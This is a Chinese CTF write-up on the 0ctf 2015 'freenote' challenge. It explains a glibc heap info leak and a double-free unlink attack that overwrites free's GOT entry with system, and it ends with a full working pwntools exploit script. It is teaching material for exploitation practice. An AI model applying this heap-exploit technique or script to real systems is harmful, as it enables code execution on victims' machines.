见微知著(二):解析ctf中的pwn--怎么利用double free
这次选2015年的0ctf的一道非常经典的pwn题,感觉这个题目作为练习题来理解堆还是很棒的。
运行起来,可以看出是一个实现类似于记事本功能的程序,就这一点而言,基本是套路了,功能都试一遍之后,就可以去试着寻找漏洞了,
看呀看,看呀看,发现一个问题,咦,好像在free堆的时候没有进行检查额,有趣,问题肯定就在这里了。
详细看过0day安全的都记得书里面的Dword Shoot吧!然而,随着国内外黑客们隔段时间就喜欢搞点大新闻,所以无论在Linux和Windows上都插入了宏来验证堆上的fd和bk是否发生了修改。具体代码如下:
assert(p->fd->bk == p);
assert(p->bk->fd == p);
当然,这会在后面细说的,在利用double_free之前,要想办法泄露出堆的地址,这里得看输入字符串函数了,根据套路,一般都是这里出问题。
果不其然,这里输入字符串结尾并没有加上'/x00',说明可以读取超过预定长度的字符串了,这里来回顾一下一个chunk长啥样的,这里为了方便理解这个题的泄露方式,我自己画了一个一维的图:
其中FD中指向next_chunk,BK指向前置指针。换句话说,只要能够得到FD或者BK的值,再通过一定的计算,就可以得到堆的地址了。而在glibc中,free之后并不会清空对中的内容,又因为如之前所说,输入并不会在末尾加'\x00'。所以这里有很多种方法可以的得到指针的值,这里选取一种容易理解的来讲解
可以分配一个chunk,然后再将它free掉,之后再分配一个等于8字节大小的chunk,覆盖掉FD,但是此时,FD依然是之前的值,而且由于put函数直到遇到'\x00'才停止输出,完全可以得到BK的值,在经 过计算就可以得到heap的基地址了
而且,这里还有一个挺有意思的地方,在glibc中,main Arena 在libc.so.6的数据段上,也就是说,我们也可以根据这种办法来变相得到libc.so.6的基地址,当然也可以通过固有套路来得到基地址。源码如下:
raw_input('*************************Leak_Libc*******************************8') notelen=0x80 new_note("A"*notelen) new_note("B"*notelen) delete_note(0) new_note("AAAAAAAA") list_note() p.recvuntil("0. AAAAAAAA") leak = p.recvuntil("\n") leaklibcaddr = u64(leak[0:-1].ljust(8, '\x00'))-0x3be7b8 print hex(leaklibcaddr) system_sh_addr = leaklibcaddr + 0x46590 print "system_sh_addr: " + hex(system_sh_addr) bin_sh_addr = leaklibcaddr + 0x17c8c3 delete_note(1) delete_note(0) raw_input('******************Leak_heap******************') notelen=0x80 new_note("A"*notelen) new_note("B"*notelen) new_note("C"*notelen) new_note("D"*notelen) delete_note(2) delete_note(0) new_note("AAAAAAAA") list_note() p.recvuntil("0. AAAAAAAA") leak = p.recvuntil("\n") #print leak[0:-1].encode('hex') heapBase= u64(leak[0:-1].ljust(8, '\x00'))-0x1820 print "heapBase:"+hex(heapBase) delete_note(0) delete_note(1) delete_note(3)
好啦,基地址拿到了,现在可以好好讲讲double_free了,在很久很久以前,那时候没有那么多加固措施,那时候进行堆攻击就挺方便的。直接溢出,伪造BK和FD就好了=_=。这个利用详细可以看看exploit-exercise, fusion的heap3,这里只简单讲一下free函数里的unlink操作了,如下:
FD = P->fd; BK = P->bk; FD->bk = BK; \ BK->fd = FD;
然而,正如上文所说,加入了两个断言,所以就要相办法绕过去,这里常规的方法就是找一个指向该chunk的指针p,同时将该chunk的fd指向p-3,而bk指向P-2。这样的话就可以将*p = p-3了,同时,如果可以对*p,也就是chunk进行写的话,就可以任意写p-3之后的内存空间了。示意图如下:
在这个题目中,通过对p进行写,然后可以将p指向got.plt 中free的位置,再将free写成system,最后再调用free就OK了!
具体思路大致就是这些,但是,还有一个很重要的问题没有说,就是怎么得到伪造的机会以及怎么伪造,先来将怎么得到伪造的机会。
正如上文所说,本题没有检查chunk是否释放,完全可以先连续malloc三个堆,chunkA,chunkB,chunkC,再释放,根据堆的特性,这三个堆会合并,这是再分配一个小于size(chunkA)+size(chunkB)+size(chunkC)+0x20的堆,这是再对这片内存进行写,来伪造连续四个堆(貌似可以只伪造两个,但是还没有看完glibc的malloc.c的代码,所以以后再补),至于为什么伪造四个呢,这里要考虑到chunk的flag指向的是preChunk的状态,而要触发unlink操作的话,需要检查上一个chunk和下一个chunk的状态,这是就需要查看该chunk的flag和下下个chunk的flag了。在伪造的时候,需要注意的是有这么一段检查(坑的一逼)
assert (P->fd_nextsize->bk_nextsize == P);
assert (P->bk_nextsize->fd_nextsize == P);
所以,我们的上一段的size(也就是进行unlink操作的那个chunk),等于本段的preSize。
所以伪造的堆块如下。
payload = "" payload += p64(0x0) + p64(notelen+1) + p64(fd) + p64(bk) + "A" * (notelen - 0x20) payload += p64(notelen) + p64(notelen+0x10) + "A" * notelen payload += p64(0) + p64(notelen+0x11)+ "\x00" * (notelen-0x20)
下面是exp,在ubuntu可以直接使用,其它环境,请自己拿到libc.so.6的相关函数偏移地址:
#!/usr/bin/env python from pwn import * #switch DEBUG = 0 LOCAL = 1 VERBOSE = 1 if LOCAL: p = process('./freenote_x64') else: p = remote('127.0.0.1',6666) if VERBOSE: context(log_level='debug') def new_note(x): p.recvuntil("Your choice: ") p.send("2\n") p.recvuntil("Length of new note: ") p.send(str(len(x))+"\n") p.recvuntil("Enter your note: ") p.send(x) def delete_note(x): p.recvuntil("Your choice: ") p.send("4\n") p.recvuntil("Note number: ") p.send(str(x)+"\n") def list_note(): p.recvuntil("Your choice: ") p.send("1\n") def edit_note(x,y): p.recvuntil("Your choice: ") p.send("3\n") p.recvuntil("Note number: ") p.send(str(x)+"\n") p.recvuntil("Length of note: ") p.send(str(len(y))+"\n") p.recvuntil("Enter your note: ") p.send(y) if DEBUG: gdb.attach(p) raw_input('*************************Leak_Libc*******************************8') notelen=0x80 new_note("A"*notelen) new_note("B"*notelen) delete_note(0) new_note("AAAAAAAA") list_note() p.recvuntil("0. AAAAAAAA") leak = p.recvuntil("\n") leaklibcaddr = u64(leak[0:-1].ljust(8, '\x00'))-0x3be7b8 print hex(leaklibcaddr) system_sh_addr = leaklibcaddr + 0x46590 print "system_sh_addr: " + hex(system_sh_addr) bin_sh_addr = leaklibcaddr + 0x17c8c3 delete_note(1) delete_note(0) raw_input('******************Leak_heap******************') notelen=0x80 new_note("A"*notelen) new_note("B"*notelen) new_note("C"*notelen) new_note("D"*notelen) delete_note(2) delete_note(0) new_note("AAAAAAAA") list_note() p.recvuntil("0. AAAAAAAA") leak = p.recvuntil("\n") #print leak[0:-1].encode('hex') heapBase= u64(leak[0:-1].ljust(8, '\x00'))-0x1820 print "heapBase:"+hex(heapBase) delete_note(0) delete_note(1) delete_note(3) raw_input('*******************doubel_free*****************') notelen = 0x80 #new_note("/bin/sh\x00"+"A"*(notelen-8)) new_note("A"*notelen) new_note("B"*notelen) new_note("C"*notelen) delete_note(2) delete_note(1) delete_note(0) fd = heapBase + 0x18#notetable bk = fd + 0x8 payload = "" payload += p64(0x0) + p64(notelen+1) + p64(fd) + p64(bk) + "A" * (notelen - 0x20) payload += p64(notelen) + p64(notelen+0x10) + "A" * notelen payload += p64(0) + p64(notelen+0x11)+ "\x00" * (notelen-0x20) new_note(payload) raw_input('*******************beforetest*****************') delete_note(1) free_got = 0x602018 payload2 = p64(2)+p64(1)+p64(0x8)+p64(free_got)+'A'*0x10+p64(bin_sh_addr) payload2 += 'A'*(0x180-len(payload2)) edit_note(0, payload2) edit_note(0, p64(system_sh_addr)) delete_note(1) p.interactive()